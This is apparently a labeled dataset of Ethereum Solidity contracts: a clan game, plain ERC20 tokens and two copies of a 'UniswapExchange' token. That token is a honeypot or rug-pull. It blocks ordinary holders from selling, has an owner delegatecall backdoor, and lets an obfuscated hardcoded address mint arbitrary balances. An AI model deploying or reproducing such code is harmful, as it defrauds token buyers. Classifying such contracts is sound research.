uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,445 |
pragma solidity ^0.4.25;
interface ERC721 {
function totalSupply() external view returns (uint256 tokens);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function exists(uint256 tokenId) external view returns (bool tokenExists);
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address approvee);
function transferFrom(address from, address to, uint256 tokenId) external;
function tokensOf(address owner) external view returns (uint256[] tokens);
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) external;
}
contract Clans is ERC721, ApproveAndCallFallBack {
using SafeMath for uint256;
GooToken constant goo = GooToken(0xdf0960778c6e6597f197ed9a25f12f5d971da86c);
Army constant army = Army(0x98278eb74b388efd4d6fc81dd3f95b642ce53f2b);
WWGClanCoupons constant clanCoupons = WWGClanCoupons(0xe9fe4e530ebae235877289bd978f207ae0c8bb25);
string public constant name = "Goo Clan";
string public constant symbol = "GOOCLAN";
uint224 numClans;
address owner;
mapping (uint256 => address) public tokenOwner;
mapping (uint256 => address) public tokenApprovals;
mapping (address => uint256[]) public ownedTokens;
mapping(uint256 => uint256) public ownedTokensIndex;
mapping(address => UserClan) public userClan;
mapping(uint256 => uint224) public clanFee;
mapping(uint256 => uint224) public leaderFee;
mapping(uint256 => uint256) public clanMembers;
mapping(uint256 => mapping(uint256 => uint224)) public clanUpgradesOwned;
mapping(uint256 => uint256) public clanGoo;
mapping(uint256 => address) public clanToken;
mapping(uint256 => uint256) public baseTokenDenomination;
mapping(uint256 => uint256) public clanTotalArmyPower;
mapping(uint256 => uint224) public referalFee;
mapping(address => mapping(uint256 => address)) public clanReferer;
mapping(uint256 => Upgrade) public upgradeList;
mapping(address => bool) operator;
struct UserClan {
uint224 clanId;
uint32 clanJoinTime;
}
struct Upgrade {
uint256 upgradeId;
uint224 gooCost;
uint224 upgradeGain;
uint256 upgradeClass;
uint256 prerequisiteUpgrade;
}
event JoinedClan(uint256 clanId, address player, address referer);
event LeftClan(uint256 clanId, address player);
constructor() public {
owner = msg.sender;
}
function setOperator(address gameContract, bool isOperator) external {
require(msg.sender == owner);
operator[gameContract] = isOperator;
}
function totalSupply() external view returns (uint256) {
return numClans;
}
function balanceOf(address player) public view returns (uint256) {
return ownedTokens[player].length;
}
function ownerOf(uint256 clanId) external view returns (address) {
return tokenOwner[clanId];
}
function exists(uint256 clanId) public view returns (bool) {
return tokenOwner[clanId] != address(0);
}
function approve(address to, uint256 clanId) external {
require(tokenOwner[clanId] == msg.sender);
tokenApprovals[clanId] = to;
emit Approval(msg.sender, to, clanId);
}
function getApproved(uint256 clanId) external view returns (address) {
return tokenApprovals[clanId];
}
function tokensOf(address player) external view returns (uint256[] tokens) {
return ownedTokens[player];
}
function transferFrom(address from, address to, uint256 tokenId) public {
require(tokenApprovals[tokenId] == msg.sender || tokenOwner[tokenId] == msg.sender);
joinClanPlayer(to, uint224(tokenId), 0);
removeTokenFrom(from, tokenId);
addTokenTo(to, tokenId);
delete tokenApprovals[tokenId];
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public {
transferFrom(from, to, tokenId);
checkERC721Recieved(from, to, tokenId, data);
}
function checkERC721Recieved(address from, address to, uint256 tokenId, bytes memory data) internal {
uint256 size;
assembly { size := extcodesize(to) }
if (size > 0) {
bytes4 successfullyRecieved = ERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, data);
require(successfullyRecieved == bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")));
}
}
function removeTokenFrom(address from, uint256 tokenId) internal {
require(tokenOwner[tokenId] == from);
tokenOwner[tokenId] = address(0);
uint256 tokenIndex = ownedTokensIndex[tokenId];
uint256 lastTokenIndex = ownedTokens[from].length.sub(1);
uint256 lastToken = ownedTokens[from][lastTokenIndex];
ownedTokens[from][tokenIndex] = lastToken;
ownedTokens[from][lastTokenIndex] = 0;
ownedTokens[from].length--;
ownedTokensIndex[tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function addTokenTo(address to, uint256 tokenId) internal {
require(ownedTokens[to].length == 0);
tokenOwner[tokenId] = to;
ownedTokensIndex[tokenId] = ownedTokens[to].length;
ownedTokens[to].push(tokenId);
}
function updateClanFees(uint224 newClanFee, uint224 newLeaderFee, uint224 newReferalFee, uint256 clanId) external {
require(msg.sender == tokenOwner[clanId]);
require(newClanFee <= 25);
require(newReferalFee <= 10);
require(newLeaderFee <= newClanFee);
clanFee[clanId] = newClanFee;
leaderFee[clanId] = newLeaderFee;
referalFee[clanId] = newReferalFee;
}
function getPlayerFees(address player) external view returns (uint224 clansFee, uint224 leadersFee, address leader, uint224 referalsFee, address referer) {
uint256 usersClan = userClan[player].clanId;
clansFee = clanFee[usersClan];
leadersFee = leaderFee[usersClan];
leader = tokenOwner[usersClan];
referalsFee = referalFee[usersClan];
referer = clanReferer[player][usersClan];
}
function getPlayersClanUpgrade(address player, uint256 upgradeClass) external view returns (uint224 upgradeGain) {
upgradeGain = upgradeList[clanUpgradesOwned[userClan[player].clanId][upgradeClass]].upgradeGain;
}
function getClanUpgrade(uint256 clanId, uint256 upgradeClass) external view returns (uint224 upgradeGain) {
upgradeGain = upgradeList[clanUpgradesOwned[clanId][upgradeClass]].upgradeGain;
}
function getClanDetailsForAttack(address player, address target) external view returns (uint256 clanId, uint256 targetClanId, uint224 playerLootingBonus) {
clanId = userClan[player].clanId;
targetClanId = userClan[target].clanId;
playerLootingBonus = upgradeList[clanUpgradesOwned[clanId][3]].upgradeGain;
}
function joinClan(uint224 clanId, address referer) external {
require(exists(clanId));
joinClanPlayer(msg.sender, clanId, referer);
}
function joinClanFromInvite(address player, uint224 clanId, address referer) external {
require(operator[msg.sender]);
joinClanPlayer(player, clanId, referer);
}
function joinClanPlayer(address player, uint224 clanId, address referer) internal {
require(ownedTokens[player].length == 0);
(uint80 attack, uint80 defense,) = army.getArmyPower(player);
UserClan memory existingClan = userClan[player];
if (existingClan.clanId > 0) {
clanMembers[existingClan.clanId]--;
clanTotalArmyPower[existingClan.clanId] -= (attack + defense);
emit LeftClan(existingClan.clanId, player);
}
if (referer != address(0) && referer != player) {
require(userClan[referer].clanId == clanId);
clanReferer[player][clanId] = referer;
}
existingClan.clanId = clanId;
existingClan.clanJoinTime = uint32(now);
clanMembers[clanId]++;
clanTotalArmyPower[clanId] += (attack + defense);
userClan[player] = existingClan;
emit JoinedClan(clanId, player, referer);
}
function leaveClan() external {
require(ownedTokens[msg.sender].length == 0);
UserClan memory usersClan = userClan[msg.sender];
require(usersClan.clanId > 0);
(uint80 attack, uint80 defense,) = army.getArmyPower(msg.sender);
clanTotalArmyPower[usersClan.clanId] -= (attack + defense);
clanMembers[usersClan.clanId]--;
delete userClan[msg.sender];
emit LeftClan(usersClan.clanId, msg.sender);
require(attack + defense == 0 || army.lastWarFundClaim(msg.sender) == army.getSnapshotDay());
require(usersClan.clanJoinTime + 24 hours < now);
}
function mintClan(address recipient, uint224 referalPercent, address clanTokenAddress, uint256 baseTokenReward) external {
require(operator[msg.sender]);
require(ERC20(clanTokenAddress).totalSupply() > 0);
numClans++;
uint224 clanId = numClans;
joinClanPlayer(recipient, clanId, 0);
require(tokenOwner[clanId] == address(0));
addTokenTo(recipient, clanId);
emit Transfer(address(0), recipient, clanId);
clanToken[clanId] = clanTokenAddress;
baseTokenDenomination[clanId] = baseTokenReward;
referalFee[clanId] = referalPercent;
if (clanCoupons.totalSupply() > 0) {
clanCoupons.burnCoupon(recipient, clanId);
}
}
function addUpgrade(uint256 id, uint224 gooCost, uint224 upgradeGain, uint256 upgradeClass, uint256 prereq) external {
require(operator[msg.sender]);
upgradeList[id] = Upgrade(id, gooCost, upgradeGain, upgradeClass, prereq);
}
function updateClanToken(uint256 clanId, address newClanToken, bool shouldRetrieveOldTokens) external {
require(msg.sender == owner);
require(ERC20(newClanToken).totalSupply() > 0);
if (shouldRetrieveOldTokens) {
ERC20(clanToken[clanId]).transferFrom(this, owner, ERC20(clanToken[clanId]).balanceOf(this));
}
clanToken[clanId] = newClanToken;
}
function updateClanTokenGain(uint256 clanId, uint256 baseTokenReward) external {
require(msg.sender == owner);
baseTokenDenomination[clanId] = baseTokenReward;
}
function receiveApproval(address player, uint256 amount, address, bytes) external {
uint256 clanId = userClan[player].clanId;
require(exists(clanId));
require(msg.sender == address(goo));
ERC20(msg.sender).transferFrom(player, address(0), amount);
clanGoo[clanId] += amount;
}
function buyUpgrade(uint224 upgradeId) external {
uint256 clanId = userClan[msg.sender].clanId;
require(msg.sender == tokenOwner[clanId]);
Upgrade memory upgrade = upgradeList[upgradeId];
require (upgrade.upgradeId > 0);
uint256 upgradeClass = upgrade.upgradeClass;
uint256 latestOwned = clanUpgradesOwned[clanId][upgradeClass];
require(latestOwned < upgradeId);
require(latestOwned >= upgrade.prerequisiteUpgrade);
uint224 upgradeDiscount = clanUpgradesOwned[clanId][0];
uint224 reducedUpgradeCost = upgrade.gooCost - ((upgrade.gooCost * upgradeDiscount) / 100);
clanGoo[clanId] = clanGoo[clanId].sub(reducedUpgradeCost);
army.depositSpentGoo(reducedUpgradeCost);
clanUpgradesOwned[clanId][upgradeClass] = upgradeId;
}
function depositGoo(uint256 amount, uint256 clanId) external {
require(operator[msg.sender]);
require(exists(clanId));
clanGoo[clanId] += amount;
}
function increaseClanPower(address player, uint256 amount) external {
require(operator[msg.sender]);
uint256 clanId = userClan[player].clanId;
if (clanId > 0) {
clanTotalArmyPower[clanId] += amount;
}
}
function decreaseClanPower(address player, uint256 amount) external {
require(operator[msg.sender]);
uint256 clanId = userClan[player].clanId;
if (clanId > 0) {
clanTotalArmyPower[clanId] -= amount;
}
}
function stealGoo(address attacker, uint256 playerClanId, uint256 enemyClanId, uint80 lootingPower) external returns(uint256) {
require(operator[msg.sender]);
uint224 enemyGoo = uint224(clanGoo[enemyClanId]);
uint224 enemyGooStolen = (lootingPower > enemyGoo) ? enemyGoo : lootingPower;
clanGoo[enemyClanId] = clanGoo[enemyClanId].sub(enemyGooStolen);
uint224 clansShare = (enemyGooStolen * clanFee[playerClanId]) / 100;
uint224 referersFee = referalFee[playerClanId];
address referer = clanReferer[attacker][playerClanId];
if (clansShare > 0 || (referersFee > 0 && referer != address(0))) {
uint224 leaderShare = (enemyGooStolen * leaderFee[playerClanId]) / 100;
uint224 refsShare;
if (referer != address(0)) {
refsShare = (enemyGooStolen * referersFee) / 100;
goo.mintGoo(refsShare, referer);
}
clanGoo[playerClanId] += clansShare;
goo.mintGoo(leaderShare, tokenOwner[playerClanId]);
goo.mintGoo(enemyGooStolen - (clansShare + leaderShare + refsShare), attacker);
} else {
goo.mintGoo(enemyGooStolen, attacker);
}
return enemyGooStolen;
}
function rewardTokens(address attacker, uint256 playerClanId, uint80 lootingPower) external returns(uint256) {
require(operator[msg.sender]);
uint256 amount = baseTokenDenomination[playerClanId] * lootingPower;
ERC20(clanToken[playerClanId]).transfer(attacker, amount);
return amount;
}
function mintGoo(address player, uint256 amount) external {
require(operator[msg.sender]);
clanGoo[userClan[player].clanId] += amount;
}
}
contract ERC20 {
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function transfer(address to, uint tokens) external returns (bool success);
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
}
contract GooToken {
function mintGoo(uint224 amount, address player) external;
function updatePlayersGooFromPurchase(address player, uint224 purchaseCost) external;
}
contract Army {
mapping(address => uint256) public lastWarFundClaim;
function depositSpentGoo(uint224 amount) external;
function getArmyPower(address player) external view returns (uint80, uint80, uint80);
function getSnapshotDay() external view returns (uint256 snapshot);
}
contract WWGClanCoupons {
function totalSupply() external view returns (uint256);
function burnCoupon(address clanOwner, uint256 tokenId) external;
}
contract ERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes data) external returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,410 |
pragma solidity 0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Kawanggawa is StandardToken, PausableToken
{
string public constant name = "Kawanggawa";
string public constant symbol = "KGWA";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 12000000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
} | 1 | 4,801 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 618 |
pragma solidity ^0.4.25;
pragma experimental ABIEncoderV2;
contract OwnableContract {
event onTransferOwnership(address newOwner);
address superOwner;
constructor() public {
superOwner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == superOwner);
_;
}
function viewSuperOwner() public view returns (address owner) {
return superOwner;
}
function changeOwner(address newOwner) onlyOwner public {
require(newOwner != superOwner);
superOwner = newOwner;
emit onTransferOwnership(superOwner);
}
}
contract BlockableContract is OwnableContract {
event onBlockHODLs(bool status);
bool public blockedContract;
constructor() public {
blockedContract = false;
}
modifier contractActive() {
require(!blockedContract);
_;
}
function doBlockContract() onlyOwner public {
blockedContract = true;
emit onBlockHODLs(blockedContract);
}
function unBlockContract() onlyOwner public {
blockedContract = false;
emit onBlockHODLs(blockedContract);
}
}
contract ldoh is BlockableContract {
event onCashbackCode(address indexed hodler, address cashbackcode);
event onStoreProfileHash(address indexed hodler, string profileHashed);
event onHodlTokens(address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onClaimTokens(address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onReturnAll(uint256 returned);
address internal AXPRtoken;
mapping(address => string) public profileHashed;
mapping(address => address) public cashbackcode;
mapping(address => bool) public contractaddress;
uint256 public percent = 1200;
uint256 private constant affiliate = 12;
uint256 private constant cashback = 16;
uint256 private constant totalreceive = 88;
uint256 private constant seconds30days = 2592000;
struct Safe {
uint256 id;
uint256 amount;
uint256 endtime;
address user;
address tokenAddress;
string tokenSymbol;
uint256 amountbalance;
uint256 cashbackbalance;
uint256 lasttime;
uint256 percentage;
uint256 percentagereceive;
uint256 tokenreceive;
uint256 affiliatebalance;
address referrer;
}
mapping(address => uint256[]) public _userSafes;
mapping(address => uint256) public _totalSaved;
mapping(uint256 => Safe) private _safes;
uint256 private _currentIndex;
uint256 public _countSafes;
uint256 public hodlingTime;
uint256 public allTimeHighPrice;
uint256 public comission;
mapping(address => uint256) private _systemReserves;
address[] public _listedReserves;
constructor() public {
AXPRtoken = 0xC39E626A04C5971D770e319760D7926502975e47;
hodlingTime = 730 days;
_currentIndex = 500;
comission = 12;
}
function () public payable {
require(msg.value > 0);
